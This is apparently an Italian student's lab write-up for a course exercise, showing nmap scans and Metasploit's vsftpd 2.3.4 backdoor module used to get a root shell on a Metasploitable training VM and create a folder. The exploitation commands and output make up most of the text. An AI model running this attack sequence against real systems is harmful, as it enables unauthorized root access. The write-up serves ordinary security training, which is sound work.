

## Week 6 - Test Settimanale

### SQL Injection blind - XSS Stored

#### Consegna

Nella lezione pratica di oggi vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable.

**Traccia:**

**Partendo dall'esercizio guidato visto nella lezione teorica di oggi**, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «**vsftpd**» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: **192.168.1.149/24**.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.

#### Procedimento

Come richiesto dalla consegna dell'esercizio cambio gli ip delle due macchine come segue:

IP KALI: 192.168.1.150

IP Metasploitable: 192.168.1.149

Eseguo un Nmap per capire su quale porta è il servizio richiesto dalla consegna e soprattutto verificare che sia attivo:

```
(kali㉿kali)-[~]  
$ nmap -p- -T5 -sV 192.168.1.149  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 10:36 EST
```

Come notiamo il servizio è attivo sulla porta 21:

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp	open	telnet	Linux telnetd
25/tcp	open	smtp	Postfix smtpd
53/tcp	open	domain	ISC BIND 9.4.2
80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu))
111/tcp	open	rpcbind	2 (RPC #100000)
139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workstation)
445/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workstation)
512/tcp	open	exec	netkit-rsh rexecd
513/tcp	open	login?	
514/tcp	open	shell	Netkit rshd
1099/tcp	open	java-rmi	GNU Classpath grmiregistry
1524/tcp	open	bindshell	Metasploitable root shell
2049/tcp	open	nfs	2-4 (RPC #100003)
2121/tcp	open	ftp	ProFTPD 1.3.1
3306/tcp	open	mysql	MySQL 5.0.51a-3ubuntu5
3632/tcp	open	distccd	distccd v1 ((GNU) 4.2.4)
5432/tcp	open	postgresql	PostgreSQL DB 8.3.0 - 8.3.9
5900/tcp	open	vnc	VNC (protocol 3.3)
6000/tcp	open	X11	(access denied)
6667/tcp	open	irc	UnrealIRCd
6697/tcp	open	irc	UnrealIRCd
8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3.2)
8180/tcp	open	http	Apache Tomcat/Coyote JSF
8787/tcp	open	drb	Ruby DRb RMI (Ruby 1.8;)
35546/tcp	open	mountd	1-3 (RPC #100005)
35878/tcp	open	nlockmgr	1-4 (RPC #100021)
38503/tcp	open	status	1 (RPC #100024)
49628/tcp	open	java-rmi	GNU Classpath grmiregistry
Service Info: Hosts: metasploitable.localdomain, ip-192-168-1-149.ec2.internal			

Quindi dopo aver eseguito un Nmap non completo per renderlo più veloce e poi vado a indagare più approfonditamente lanciando un nmap più approfondito:

```
(kali㉿kali)-[~]
└─$ nmap -p21 -T5 -A 192.168.1.149
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 10:41 EST
Nmap scan report for 192.168.1.149
Host is up (0.000090s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.1.150
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
Service Info: OS: Unix
```

Apprendiamo che il servizio vsftpd sull macchina è aggiornato alla versione 2.3.4

Ora vado su metasploit con msfconsole e cerco per il rispettivo servizio:

```
msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4
Backdoor Command Execution
```

Notiamo che esiste un exploit disponibile esattamente per quella versione del servizio, dunque procedo a caricare il modulo:

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
/usr/share/metasploit-framework/vendor/bundle/ruby
```

Cerco informazioni aggiuntive sul modulo per configurarlo al meglio e poterlo utilizzare per eseguire l'hacking:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
```

Noto che per questo exploit devo impostare l'ip dell'host da attaccare, mentre la porta è impostata di Default sulla 21:

```
Basic options:
Name      Current Setting  Required  Description
-----
RHOSTS    yes              The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21              yes       The target port (TCP)
```

Vado dunque a configurare correttamente l'exploit:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

Adesso è il momento di preparare il payload che mi permetterà di prendere il controllo della macchina, ma prima controllo quali sono quelli disponibili per questo exploit:

```
Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  payload/cmd/unix/interact               normal        No      Unix Command, Interact with
Established Connection
```

A questo punto quindi setto il payload per controllarne e sistemarne le opzioni di configurazione e poi sono pronto per l'attacco:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.1.149   yes       The target host address
  LPORT     21              yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

Noto che in questo caso, per questo payload non sono necessarie ulteriori configurazioni, quindi procedo all'attacco sulla macchina target:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
ls
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:44481 -> 192.168.1.149:6200) at 2022-12-05 11:01:00 -0500
```

Ci è notificato è la shell è stata trovata, abbiamo il controllo sulla macchina.

Come mi viene richiesto dalla consegna mi sposto quindi nella directory di root e procedo a creare una nuova cartella che rinomino **test\_metasploit**

```
pwd
/
```

```
mkdir test_metasploit
```